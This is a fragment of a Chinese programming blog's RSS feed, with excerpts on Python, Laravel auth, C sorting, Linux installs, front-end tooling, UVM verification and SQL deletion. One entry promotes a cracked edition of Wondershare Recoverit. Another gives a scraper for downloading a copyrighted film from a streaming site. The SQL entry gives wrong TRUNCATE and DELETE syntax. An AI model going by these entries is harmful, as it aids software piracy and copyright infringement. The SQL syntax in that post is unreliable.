      <description>Wondershare Recoverit Mac版是一款非常好用且专业的免费万兴数据恢复软件，可以恢复所有文件类型，包括照片、视频、文档和其他文件。从所有数据丢失场景中检索数据，并从所有存储设备中恢复数据，并崩溃Windows系统或可启动问题!可靠的数据恢复软件，恢复率96%。测试环境：MacOS 11.3.1&#xA;Wondershare Recoverit Mac版安装教程&#xA;Apple T2 安全芯片的电脑无法使用该软件，查看方法如下：&#xA;在按住 Option 键的同时，选取苹果 () 菜单 &amp;gt;“系统信息”。&#xA;在边栏中，选取“控制器”或“iBridge”，具体取决于所使用的 macOS 版本。&#xA;如果您在右侧看到“Apple T2 芯片”，即表示您的 Mac 配备 Apple T2 安全芯片。如下图这样的就无法使用该软件。&#xA;安装包下载完成后，双击安装，根据安装器提示进行安装即可。&#xA;Wondershare mac破解版功能介绍&#xA;100％安全和完整的恢复过程&#xA;只读恢复&#xA;本程序不会尝试“修复”或写入您即将恢复的设备，因此它可以在不损坏您的数据的情况下运行。&#xA;恢复前预览&#xA;您可以随时预览文件，如照片，文档等等。&#xA;保存并恢复&#xA;保存以前的扫描结果并将其导入以恢复恢复，而无需再次扫描。&#xA;搜索&#xA;过滤按文件名，日期和大小的搜索功能快速查找文件，并节省时间。&#xA;完全恢复&#xA;删除文件恢复&#xA;回收站恢复&#xA;格式化磁盘恢复&#xA;丢失的分区恢复&#xA;外部设备恢复&#xA;病毒攻击数据恢复&#xA;系统崩溃数据恢复&#xA;轻松从具有可启动媒体的崩溃Windows系统中恢复数据。&#xA;全方位恢复&#xA;全面的综合恢复算法可以恢复您需要的一切。&#xA;数据恢复工具格式支持&#xA;文档&#xA;DOC / DOCX，XLS / XLSX，PPT / PPTX，PDF，CWK，HTML / HTM，INDD，Eps等。&#xA;照片&#xA;JPG，TIFF / TIF，PNG，BMP，GIF，psD，CRW，CR2，NEF，ORF，RAF，SR2，MRW，DCR，WMF，DNG，ERF，RAW等。&#xA;视频&#xA;AVI，MOV，MP4，M4V，3GP，3G2，WMV，ASF，FLV，SWF，MPG，RM / RMVB等</description>
    </item>
    <item>
      <title>Python:找出两列表中相同元素，并打印出来</title>
      <link>https://bchobby.github.io/posts/6b7ae72e4d15386a956828053c1a94b0/</link>
      <pubDate>Sat, 28 Aug 2021 08:55:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b7ae72e4d15386a956828053c1a94b0/</guid>
      <description>方法一：&#xA;list1=[&#39;w&#39;,&#39;fk&#39;,12,6,&#39;my&#39;,9]&#xA;list2=[&#39;t&#39;,9,&#39;h&#39;,&#39;w&#39;,6,70]&#xA;print(set(list1)&amp;amp;set(list2)) #将两列表转换成集合，并求交集&#xA;#集合是无序的，打印出来的也是无序的&#xA;方法二：&#xA;list1=[&#39;w&#39;,&#39;fk&#39;,12,6,&#39;my&#39;,9]&#xA;list2=[&#39;t&#39;,9,&#39;h&#39;,&#39;w&#39;,6,70]&#xA;list3=[] #创建空列表list3&#xA;for i in list1: #遍历list1的所有元素&#xA;if i in list2: #如果该元素在list2内（即是两列表相同元素），就添加到list3&#xA;list3.append(i)&#xA;print(list3)</description>
    </item>
    <item>
      <title>[laravel]laravel用户认证及api认证,session,cookie,api_token</title>
      <link>https://bchobby.github.io/posts/49d93dc99be5cbc8b83b8a7478ab20f1/</link>
      <pubDate>Fri, 27 Aug 2021 23:24:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49d93dc99be5cbc8b83b8a7478ab20f1/</guid>
      <description>我们开始制作完哪个站的时候第一个想要做的就是用户的问题,但是用户的问题说难不难,说简单也不简单,对于网页端,保存用户信息需要考虑使用的session,还是cookie,也有的公司使用token的,既然laravel本身是一个很牛逼的框架,那么我们就使用laravel来实现以下这三种用户认证方式,以方便我们在使用的时候可以选择自己需要的方式进行技术的选择.&#xA;一. 基础的认证功能(session) laravel本身提供了很好的认证功能,auth我们可以在创建工程的时候就可以直接使用这套认证系统.现在就来说明一下从0搭建这个基础的认证框架是怎么实现的,及其中的知识&#xA;1. 新建laravel项目叫project_laravel,并配置对应的服务器以及伪静态 laravel new project_laravel 2. 创建一个mysql数据库project_laravel_db 3. 使用vscode打开工程,修改.env文件制定数据库相关信息 4. 数据库处理 修改数据库配置文件内容,文件路径为\app\Providers\AppServiceProvider.php&#xA;添加use内容 use Illuminate\Support\Facades\Schema; 添加boot内函数 Schema::defaultStringLength(191); 创建迁移数据库表命令行中输入&#xA;php artisan migrate 5. 创建用户的控制器MyUserController php artisan make:controller MyUserController 6. MyUserController中定义reguser,sessionlogin和sessionuser方法 &amp;lt;?php namespace App\Http\Controllers; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Auth; class MyUserController extends Controller { public function reguser(Request $request) { $user = User::create([ &#39;name&#39; =&amp;gt; $request-&amp;gt;name, &#39;email&#39; =&amp;gt; $request-&amp;gt;email, &#39;password&#39; =&amp;gt; Hash::make($request-&amp;gt;password), ]); Auth::login($user); return Auth::user(); } public function sessionlogin(Request $request) { if (Auth::attempt([&#39;name&#39; =&amp;gt; $request-&amp;gt;username, &#39;password&#39; =&amp;gt; $request-&amp;gt;password])) { return Auth::user(); } } public function sessionuser(Request $request) { if (Auth::check()) { return &#34;</description>
    </item>
    <item>
      <title>常用的排序算法（C语言版）</title>
      <link>https://bchobby.github.io/posts/5a06bc0161be090fb1b32bece4b73e17/</link>
      <pubDate>Fri, 27 Aug 2021 22:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a06bc0161be090fb1b32bece4b73e17/</guid>
      <description>交换函数：&#xA;void swap(int arr[], int i, int j) { int tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; } 一、冒泡排序 Bubble Sort 基本思想：交换排序，两两比较相邻记录的关键字，如果反序则交换，知道没有反序的记录为止。&#xA;(对相邻的元素进行两两比较，顺序相反则进行交换)&#xA;原始版： #include &amp;lt;stdio.h&amp;gt; void BubbleSort(int arr[], int len) {&#x9;for (int i = 0; i &amp;lt; len; ++i) for (int j = len - 2; j &amp;gt;= i; --j) if (arr[j] &amp;gt; arr[j + 1]) swap(arr[j], arr[j + 1]); } int main() { int arr[] = {50, 10, 90, 30, 70, 40, 80, 60, 20}; int len = sizeof(arr)/sizeof(arr[0]); BubbleSort(arr, len); for (int i = 0; i &amp;lt; len; ++i) printf(&#34;</description>
    </item>
    <item>
      <title>relion 的安装</title>
      <link>https://bchobby.github.io/posts/2076c86399e10012d0ba4dd28d1d6d08/</link>
      <pubDate>Fri, 27 Aug 2021 17:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2076c86399e10012d0ba4dd28d1d6d08/</guid>
      <description>relion是最有名的冷冻电镜三维重构图像处理软件之一，官方给出的安装教程有两处，一是来自官网：https://www3.mrc-lmb.cam.ac.uk/relion/index.php/Download_%26_install&#xA;官网上的教程非常详细，但有些繁琐，可能会对新手造成一些困扰，因此推荐官方在github上提供的教程，非常简洁：https://github.com/3dem/relion&#xA;本人使用Ubuntu 20.04.2 LTS系统，&#xA;需要的关键操作如下：&#xA;但是在安装完成后可能无法直接使用，提示：&#xA;relion: command not found 这是因为官方在github教程中没有加设置环境变量的步骤，过程如下：&#xA;vim ~/.bashrc 在底部添加一行语句：&#xA;export PATH=&#34;/your/path/to/relion/build/bin:$PATH&#34; 使生效：&#xA;source ~/.bashrc 这样就设置完成了</description>
    </item>
    <item>
      <title>麒麟系统V10-sp1安装cloud-init</title>
      <link>https://bchobby.github.io/posts/a4da40f0912c515f1a5fd7a96ef6a3a8/</link>
      <pubDate>Fri, 27 Aug 2021 14:55:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4da40f0912c515f1a5fd7a96ef6a3a8/</guid>
      <description>V10-sp1离线源码编译安装cloud-init-18.5 cloud-init源码下载地址：https://launchpad.net/cloud-init/+download&#xA;参考：https://cloud.tencent.com/document/product/213/12587&#xA;1.准备 1.1 上传cloud-init源码包 # mkdir /usr/local/sources 将cloud-init-18.5.tar.gz上传到/usr/local/sources目录下 1.2 上传依赖包 # 上传依赖包到/tmp下 # ls /tmp/cloud-init-soft.tar.bz2 1.3 配置本地yum源安装依赖 # mv kylin_x86_64.repo kylin_x86_64.repo.bak # tar -xf /tmp/cloud-init-soft.tar.bz2 -C /media/ # yum-config-manager --add-repo=file:///media/cloud-init-soft/ # echo &#34;gpgcheck=0&#34; &amp;gt;&amp;gt; media_cloud-init-soft_.repo # yum clean all &amp;amp;&amp;amp; yum list # yum -y install python* #一定要把本机自带的repo备份移走，用上面我们自己创建的！ 2.安装并配置cloud-init 2.1 解压源码包并安装 # cd /usr/local/sources/ &amp;amp;&amp;amp; tar -xf cloud-init-18.5.tar.gz # cd cloud-init-18.5/ # python setup.py build #输出如下： ..... running build_scripts creating build/scripts-2.</description>
    </item>
    <item>
      <title>threejs 初始化封装</title>
      <link>https://bchobby.github.io/posts/5d2d4035af1085e783079d78e67e56d1/</link>
      <pubDate>Fri, 27 Aug 2021 14:49:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d2d4035af1085e783079d78e67e56d1/</guid>
      <description>threejs 初始化封装 vue 中使用示例 对threejs场景进行初始封装，以便多项目复用。自用学习记录仅供参考，欢迎留言。&#xA;初始化包括以下：&#xA;场景初始化相机初始化灯光初始化，点光源，平行光，环境光初始化渲染器初始化鼠标控制器 通过new Web3DRenderer() 实例化以后可以拿到以上所有初始化对象。&#xA;import { OrbitControls } from &#39;three/examples/jsm/controls/OrbitControls&#39; import { RoomEnvironment } from &#39;three/examples/jsm/environments/RoomEnvironment.js&#39; import { FBXLoader } from &#39;three/examples/jsm/loaders/FBXLoader.js&#39; import { EffectComposer } from &#39;three/examples/jsm/postprocessing/EffectComposer.js&#39; import { RenderPass } from &#39;three/examples/jsm/postprocessing/RenderPass.js&#39; import { ShaderPass } from &#39;three/examples/jsm/postprocessing/ShaderPass.js&#39; import { OutlinePass } from &#39;three/examples/jsm/postprocessing/OutlinePass.js&#39; import { FXAAShader } from &#39;three/examples/jsm/shaders/FXAAShader.js&#39; // import { TWEEN } from &#39;three/examples/jsm/libs/tween.module.min.js&#39; import { GUI } from &#39;three/examples/jsm/libs/dat.</description>
    </item>
    <item>
      <title>vite构建项目步骤以及所遇到的坑，要注意的事项</title>
      <link>https://bchobby.github.io/posts/76fae2fd4d099e953260dbca5ea4ca1a/</link>
      <pubDate>Fri, 27 Aug 2021 11:36:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76fae2fd4d099e953260dbca5ea4ca1a/</guid>
      <description>文章目录 安装与启动步骤安装yarn安装vite项目并启动 vite配置创建路由安装路由：创建路由文件并配置路由引用路由 接口代理配置常见的报错问题开源demo下载总结 安装与启动步骤 安装yarn 首先用yarn命令进行安装，没有这个命令的同学可以先安装一下&#xA;npm install yarn -g&#xA;安装vite项目并启动 yarn create vite-app &amp;lt;project name&amp;gt; cd 项目名称 进入目录即可 yarn install yarn dev vite配置 配置文件为vite.config.js&#xA;启动配置文件和webpack方式一样 package.json里 “dev”: “vite --config ./vite.config.js”&#xA;const {resolve} = require(&#39;path&#39;) export default { alias: { &#39;/@/&#39;: resolve(__dirname, &#39;./src&#39;) } } 注意： 这里定义@目录时，前面必须要添加斜杠/表示从根目录进来获取组件。而根据上面的定义则表示/@这个符号直接会指向根目录下的src文件夹&#xA;vue中路由的配置使用时如下&#xA;component: () =&amp;gt; import(&#39;@/components/HelloWorld2.vue&#39;),&#xA;改为&#xA;component: () =&amp;gt; import(&#39;/@/components/HelloWorld2.vue&#39;),&#xA;如果没有这个/@则调用的位置会自动从@node_module里去查找目录，导致路径始终获取失败。&#xA;创建路由 文件目录配置好之后我们就可以创建路由&#xA;安装路由： yarn add vue-router@next // 先安装路由&#xA;创建路由文件并配置路由 根目录下创建文件夹router,在到router里创建路由文件router.js</description>
    </item>
    <item>
      <title>高级检索js获取文本框中的内容</title>
      <link>https://bchobby.github.io/posts/74d9b08a301b2c5f25950cc8ef58cc0c/</link>
      <pubDate>Thu, 26 Aug 2021 20:50:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74d9b08a301b2c5f25950cc8ef58cc0c/</guid>
      <description>html代码结构：&#xA;&amp;lt;table class=&#34;addel&#34; id=&#34;searchPlusTable&#34;&amp;gt; &amp;lt;tr class=&#34;target&#34;&amp;gt; &amp;lt;td class=&#34;jia&#34;&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/img/dyda/g1.png&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td class=&#34; jian&#34;&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/img/dyda/g2.png&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td class=&#34;mohu&#34;&amp;gt; &amp;lt;div class=&#34;select-container filter-box&#34;&amp;gt; &amp;lt;span&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/img/dyda/icon_arrow_down_x2.png&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;input class=&#34;filter-title&#34; type=&#34;text&#34; readonly=&#34;readonly&#34; value=&#34;模糊&#34; /&amp;gt; &amp;lt;ul class=&#34;filter-list&#34;&amp;gt; &amp;lt;li&amp;gt; &amp;lt;a&amp;gt;模糊&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li&amp;gt; &amp;lt;a href=&#34;javascript:;&#34;&amp;gt;精确&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/td&amp;gt; &amp;lt;td class=&#34;zuozhe&#34;&amp;gt; &amp;lt;div class=&#34;select-container filter-box&#34;&amp;gt; &amp;lt;span&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/img/dyda/icon_arrow_down_x2.png&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;input class=&#34;filter-title&#34; type=&#34;text&#34; readonly=&#34;readonly&#34; value=&#34;正题名&#34; /&amp;gt; &amp;lt;ul class=&#34;filter-list&#34;&amp;gt; &amp;lt;li&amp;gt; &amp;lt;a&amp;gt;正题名&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li th:each=&#34;ca,caStat : ${@initialCache.searchFieldList}&#34; th:if=&#34;${ca.fieldName != &#39;档号&#39; and ca.fieldName !</description>
    </item>
    <item>
      <title>[python爬虫]爬取电影，电视剧</title>
      <link>https://bchobby.github.io/posts/cec6b1ebaf314ae15f6fed5261dfdbcf/</link>
      <pubDate>Thu, 26 Aug 2021 19:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cec6b1ebaf314ae15f6fed5261dfdbcf/</guid>
      <description>目录 影视作品存储格式爬取方法实际操作 影视作品存储格式 网页中的小视频往往以 &amp;lt;video src=&#34;#&#34;&amp;gt;&amp;lt;/video&amp;gt;存在，拿到src中的视频地址即可下载; 大视频如电视剧，电影则先由厂商转码做清晰度处理，然后再进行切片，每片只有几秒钟，视频的播放顺序一般存储在m3u8文件中;&#xA;爬取方法 爬取m3u8文件;根据m3u8文件爬取视频;合并视频; 实际操作 以91看剧网的《名侦探柯南》电影迷宫的十字路口为例子!&#xA;查看页面源码找到包含m3u8的信息（有坑）&#xA;抓包工具找到的m3u8接口&#xA;https://m3api.awenhao.com/index.php?note=kkRq89j3mnaxf2bgp1sk5&amp;amp;raw=1&amp;amp;n.m3u8 https://m3api.awenhao.com/index.php?note=kkRpk9hzr2ay6g75et8nd&amp;amp;raw=1&amp;amp;n.m3u8 note是服务端生成随机码，且具有过期时间；&#xA;所以需要先爬取页面源码，再正则筛选生成的m3u8接口url;&#xA;获取m3u8 import requests import os # 正则匹配 re_obj = re.compile(r&#34;url: &#39;(?P&amp;lt;url&amp;gt;.*?)&#39;,&#34;, re.S) url = &#39;https://91kanju.com/vod-play/60608-1-1.html&#39; res1 = requests.get(url, headers=headers) m3u8_url = re_obj.search(res.text).group(&#39;url&#39;) res1.close() # 下载m3u8文件 if not os.path.exists(&#39;./m3u8D&#39;): os.mkdir(&#39;./m3u8D&#39;) res2 = requests.get(url=m3u8_url, headers=headers) with open(&#39;./m3u8D/名侦探柯南.m3u8&#39;, &#39;wb&#39;) as f: f.write(res2.content) res2.close() 根据m3u8中的视频url进行爬取 def get_url(): urls = [] with open(&#39;./m3u8D/名侦探柯南.m3u8&#39;, &#39;r&#39;, encoding=&#39;utf-8&#39;) as f: for line in f: # 去掉空格，换行符 line = line.</description>
    </item>
    <item>
      <title>Flowable集成mysql启动时报错 java.time.LocalDateTime cannot be cast to java.lang.String</title>
      <link>https://bchobby.github.io/posts/be0e3187fecad4769e15d999c912e667/</link>
      <pubDate>Thu, 26 Aug 2021 15:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be0e3187fecad4769e15d999c912e667/</guid>
      <description>Caused by: java.lang.ClassCastException: java.time.LocalDateTime cannot be cast to java.lang.String at liquibase.changelog.StandardChangeLogHistoryService.getRanChangeSets(StandardChangeLogHistoryService.java:287) ~[liquibase-core-3.5.5.jar:na] at liquibase.changelog.AbstractChangeLogHistoryService.upgradeChecksums(AbstractChangeLogHistoryService.java:64) ~[liquibase-core-3.5.5.jar:na] at liquibase.changelog.StandardChangeLogHistoryService.upgradeChecksums(StandardChangeLogHistoryService.java:258) ~[liquibase-core-3.5.5.jar:na] at liquibase.Liquibase.checkLiquibaseTables(Liquibase.java:1126) ~[liquibase-core-3.5.5.jar:na] at liquibase.Liquibase.update(Liquibase.java:205) ~[liquibase-core-3.5.5.jar:na] at liquibase.Liquibase.update(Liquibase.java:192) ~[liquibase-core-3.5.5.jar:na] at liquibase.Liquibase.update(Liquibase.java:188) ~[liquibase-core-3.5.5.jar:na] at liquibase.Liquibase.update(Liquibase.java:181) ~[liquibase-core-3.5.5.jar:na] at org.flowable.dmn.engine.impl.db.DmnDbSchemaManager.initSchema(DmnDbSchemaManager.java:61) ~[flowable-dmn-engine-6.4.0.jar:6.4.0] ... 97 common frames omitted 由于mysql依赖版本过高&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.26&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 正确引用&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.18&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 将其将至8.0.18该问题就解决了</description>
    </item>
    <item>
      <title>elmentui&#43;vue的折叠面板默认打开</title>
      <link>https://bchobby.github.io/posts/626fb418812dca16813da4b38b65e4a6/</link>
      <pubDate>Thu, 26 Aug 2021 09:46:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/626fb418812dca16813da4b38b65e4a6/</guid>
      <description> elmentui+vue 中将el-collapse折叠面板默认全部展开 这是el-collapse&#xA;&amp;lt;el-collapse v-model=&#34;activeNames2&#34; @change=&#34;handleChange&#34;&amp;gt; &amp;lt;template v-for=&#34;(item,index) in docList&#34;&amp;gt; &amp;lt;el-collapse-item :title=&#34;item.docName&#34; :name=&#34;index&#34;&amp;gt; &amp;lt;div v-html=&#34;item.content&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div style=&#34;width:100%;&#34;&amp;gt; &amp;lt;div v-for=&#34;item1 in item.attachList&#34; style=&#34;width:100%;height:30px;&#34;&amp;gt; &amp;lt;el-link type=&#34;primary&#34; @click=&#34;getOssUrl(item1.ossName,item1.fileName)&#34; target=&#34;_blank&#34;&amp;gt;{{ item1.fileName }} &amp;lt;/el-link&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-collapse-item&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-collapse&amp;gt; 这是写到methods&#xA;panelExpand(){ for(var i = 0; i &amp;lt; this.docList.length; i++) { this.activeNames2.push(i) } }, 因为el-collapse中的v-model中的数，其实是个数组，我们又是写的动态的，因此不知道需要循环多少次&#xA;所以将其循环，默认打开所有折叠面板&#xA;此写法类似于&#xA;activeNames2 ：[&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;，........] </description>
    </item>
    <item>
      <title>力扣76. 最小覆盖子串</title>
      <link>https://bchobby.github.io/posts/7f592dad0fa497d0becee346cd8e4f87/</link>
      <pubDate>Wed, 25 Aug 2021 23:29:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f592dad0fa497d0becee346cd8e4f87/</guid>
      <description>给你一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串，则返回空字符串 &#34;&#34; 。&#xA;注意：&#xA;对于 t 中重复字符，我们寻找的子字符串中该字符数量必须不少于 t 中该字符数量。&#xA;如果 s 中存在这样的子串，我们保证它是唯一的答案。&#xA;示例 1：&#xA;输入：s = &#34;ADOBECODEBANC&#34;, t = &#34;ABC&#34;&#xA;输出：&#34;BANC&#34;&#xA;示例 2：&#xA;输入：s = &#34;a&#34;, t = &#34;a&#34;&#xA;输出：&#34;a&#34;&#xA;示例 3:&#xA;输入: s = &#34;a&#34;, t = &#34;aa&#34;&#xA;输出: &#34;&#34;&#xA;解释: t 中两个字符 &#39;a&#39; 均应包含在 s 的子串中，&#xA;因此没有符合条件的子字符串，返回空字符串。&#xA;提示：&#xA;1 &amp;lt;= s.length, t.length &amp;lt;= 105&#xA;s 和 t 由英文字母组成</description>
    </item>
    <item>
      <title>UVM项目之二：验证计划的编写</title>
      <link>https://bchobby.github.io/posts/356f8fb0ae1fc6a0d1eef848f5bb035f/</link>
      <pubDate>Wed, 25 Aug 2021 20:31:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/356f8fb0ae1fc6a0d1eef848f5bb035f/</guid>
      <description>AHB_SRAMC验证计划 1.文档信息 1.1版本&#xA;版本&#xA;日期&#xA;描述&#xA;作者&#xA;V1.0&#xA;2021/8/14&#xA;从sramc_top层直接验证&#xA;Zhangshuhuai&#xA;V2.0&#xA;2021/8/24&#xA;内部模块ahb_slave_if的验证&#xA;Zhangshuhuai&#xA;1.2参考文档&#xA;名称&#xA;日期&#xA;作者&#xA;基于AHB总线的SRAM控制器设计的需求分析.doc&#xA;未知&#xA;未知&#xA;基于AHB总线的SRAM控制器架构设计.doc&#xA;未知&#xA;未知&#xA;基于AHB总线的SRAM控制微架构设计.doc&#xA;未知&#xA;未知&#xA;基于AHB总线的SRAM控制器继承需求.doc&#xA;未知&#xA;未知&#xA;2.模块设计 2.1 设计架构&#xA;2.2 功能点&#xA;1.支持8bit、16bit、32bit的SRAM数据读写操作&#xA;2.支持SRAM的单周期读写&#xA;3.支持低功耗工作（8bit/16bit）：在多块SRAM组成的存储器中，根据不同的地址，系统选择一块或者多块SRAM，未被选中的SRAM片处于low-power standby模式；&#xA;4.支持bist/dft功能&#xA;2.3 接口信号&#xA;信号名&#xA;方向&#xA;位宽&#xA;详细说明&#xA;SRAM控制器输入信号&#xA;Hclk&#xA;Input&#xA;1&#xA;AHB总线时钟信号&#xA;Sram_clk&#xA;Input&#xA;1&#xA;Sram core时钟信号&#xA;Hresetn&#xA;Input&#xA;1&#xA;AHB总线复位信号&#xA;Hsel&#xA;Input&#xA;1&#xA;Sram控制器片选信号&#xA;Hwrite&#xA;Input&#xA;1&#xA;写使能</description>
    </item>
    <item>
      <title>数据库之删除表数据drop、truncate和delete的用法</title>
      <link>https://bchobby.github.io/posts/37ffea37f462ce54c5c074af3f83201c/</link>
      <pubDate>Wed, 25 Aug 2021 20:14:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37ffea37f462ce54c5c074af3f83201c/</guid>
      <description>数据库中删除表数据的关键字,最常用的可能就是delete了，另外其实还有drop和truncate两个关键字。&#xA;老大：drop 命令格式：drop table tb ---tb表示数据表的名字,下同。&#xA;说明：删除内容和定义，释放空间。简单来说就是把整个表去掉.以后要新增数据是不可能的,除非新增一个表。&#xA;老二：truncate 命令格式：drop table tb 说明：删除内容、释放空间但不删除定义，也就是数据表的结构还在。与drop不同的是,它只是清空表数据而已,它比较温柔。&#xA;至于释放空间,看下面两幅图就会明白：&#xA;上图Id标识列中，因之前delete过行数据,所以会出现标识列不连续(体现了delete删除是不释放空间的)。&#xA;上图是经过truncate table Teacher 之后又新增了三条数据，发现Id标识列插入数据的时候,标识列连续了(体现了truncate删除是释放空间)。&#xA;注意:truncate 不能删除行数据,要删就要把表清空。&#xA;老三：delete 命令格式：delete table tb 或 delete table tb where 条件&#xA;说明：删除内容不删除定义，不释放空间。其中，delete table tb 虽然也是删除整个表的数据,但是过程是痛苦的(系统一行一行地删,效率较truncate低)。&#xA;【关于truncate的总结】 1、truncate table 在功能上与不带 WHERE 子句的 delete语句相同，二者均删除表中的全部行，但 truncate 比 delete速度快，且使用的系统和事务日志资源少。&#xA;2、delete 语句每次删除一行，并在事务日志中为所删除的每行记录一项，所以可以对delete操作进行roll back。&#xA;3、truncate 在各种表上无论是大的还是小的都非常快。如果有ROLLBACK命令Delete将被撤销，而 truncate 则不会被撤销。&#xA;4、truncate 是一个DDL语言，向其他所有的DDL语言一样，它将被隐式提交，不能对 truncate 使用ROLLBACK命令。&#xA;5、truncate 将重新设置高水平线和所有的索引。在对整个表和索引进行完全浏览时，经过 truncate 操作后的表比Delete操作后的表要快得多。&#xA;6、truncate 不能触发任何Delete触发器。&#xA;7、当表被清空后表和表的索引讲重新设置成初始大小，而delete则不能。&#xA;8、不能清空父表。&#xA;原文连接：https://www.cnblogs.com/zhangwuji/p/8303353.html</description>
    </item>
    <item>
      <title>UVM项目自学笔记之一：阅读design specification</title>
      <link>https://bchobby.github.io/posts/9797644cd4c1567ef18ecb161b2604d2/</link>
      <pubDate>Wed, 25 Aug 2021 20:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9797644cd4c1567ef18ecb161b2604d2/</guid>
      <description>目录&#xA;一、IC验证流程&#xA;二、design specification&#xA;一、IC验证流程 在此次UVM项目中，笔者将使用UVM的平台架构和编码风格实现AHB—SRAMC的验证工作。&#xA;将IC验证的整个流程划分为如下阶段，并按照流程完成整个项目：&#xA;1.阅读design specification，目的：&#xA;（1）学习设计的架构：包括整个soc架构，待验的IP架构&#xA;（2）掌握设计功能：对功能的理解和把握至关重要，这影响了我们整个验证的正确性&#xA;（3）数据流向：掌握接口的数据流向，了解该使用什么样的协议&#xA;（4）如何使用该DUT：DUT该如何配置，影响了我们灌入激励和收集响应的操作&#xA;2.编写verification plan：&#xA;提取验证的功能点，明确DUT的接口信号（包括所有信号的名称、位宽、功能、时序），TB的结构，检查点，功能覆盖率，测试用例规划（testcase），验证工作结束的标准。&#xA;3.搭建验证平台：&#xA;依据计划搭建验证平台，debug，并做到通过第一个testcase&#xA;4.编写testcase：&#xA;依据验证计划编写testcase。这是我们主要的验证阶段。检查RTL的每个功能点。TB/RTL debug。&#xA;5.起regresstion&#xA;周期往复性地起regression，为随机测试案例提供不同的seed。&#xA;6.分析代码、功能覆盖率：&#xA;分析覆盖率、新增测试用例&#xA;7.写测试报告：&#xA;覆盖率报告，测试用例的结果（pass/fail），覆盖率的结果&#xA;二、design specification 这个阶段，我们要熟悉整个SOC的架构，以及待验IP的架构：&#xA;（1）SOC的整体架构如下&#xA;由总线将各个IP联系起来，片上总线是通过仲裁和译码的方式来完成不同主、从部件的互连及总线复用，比较常见的有ARM的AMBA总线、IBM的CoreConnect总线以及Silicore公司的Wishbone总线等等。&#xA;以AMBA 2.0总线为例，AMBA 2.0提供了三种不同类型的总线：AHB、ASB和APB。其中AHB支持多主机从机，采用流水线的工作方式，其上挂载着高性能、高数据吞吐的IP，包括处理器IP：CPU，负责内存与外设之间数据转移的IP：DMA控制器，存储器IP：CPU内的Cache，片内的Pflash和SRAM等，也包括扩展的存储器接口ExtSRAM，算法IP：RSA加密解密算法，以及各种高速的I/O口：SD I/O口，USB串行总线等等。APB则为系统的低速外部设备提供低功耗的简单互连，APB里面唯一的主机就是bridge，APB采用非流水线的工作方式，要两个时钟周期实现一笔读写操作。APB上挂载着System controller（含上电复位控制、中断控制、时钟振荡器、时钟锁相等），WDT（计时器看门狗）、Timer（计时器），以及各种低速外设接口例如UART异步通信串行总线，SPI同步串行总线，以及IIC；&#xA;每个IP对应着不同的地址空间，对每个IP进行寻址时，不可超出地址空间的边界。&#xA;（2）AHB_SRAMC的设计需求&#xA;1）要支持低功耗，由多块SRAM构成的存储器中，根据地址选择一块或者多块SRAM，未被选中的SRAM块处在low power standby状态&#xA;2）支持单周期读写&#xA;3）根据AHB总线的读写宽度进行相应的SRAM位宽选择，支持8bit，16bit和32bit的SRAM数据读写操作&#xA;4）能够支持DFT/BIST测试&#xA;（3）AHB_SRAMC的架构设计&#xA;整个SRAM的微结构可以统分为两个部分：接口和核心的存储单元，对应的RTL代码名称分别为ahb_slave_if.v和sram_core.v。我们在做白盒验证时，需要验证IP的内部的每个设计部分，也就是说，这两个RTL代码都需要验证。此外，RTL代码sramc_top.v是两个代码的顶层，在top层对两个模块直接进行了调用。当我们做黑盒验证时，只需要验证sramc_top.v，模拟ahb总线的行为，从顶层将信号灌入，并检测相应的输出信号即可。 其中AHB slave interface模块微结构设计如下：ahb_slave模块负责将AHB时序转化为SRAMC的时序，其架构如下：&#xA;我们可以 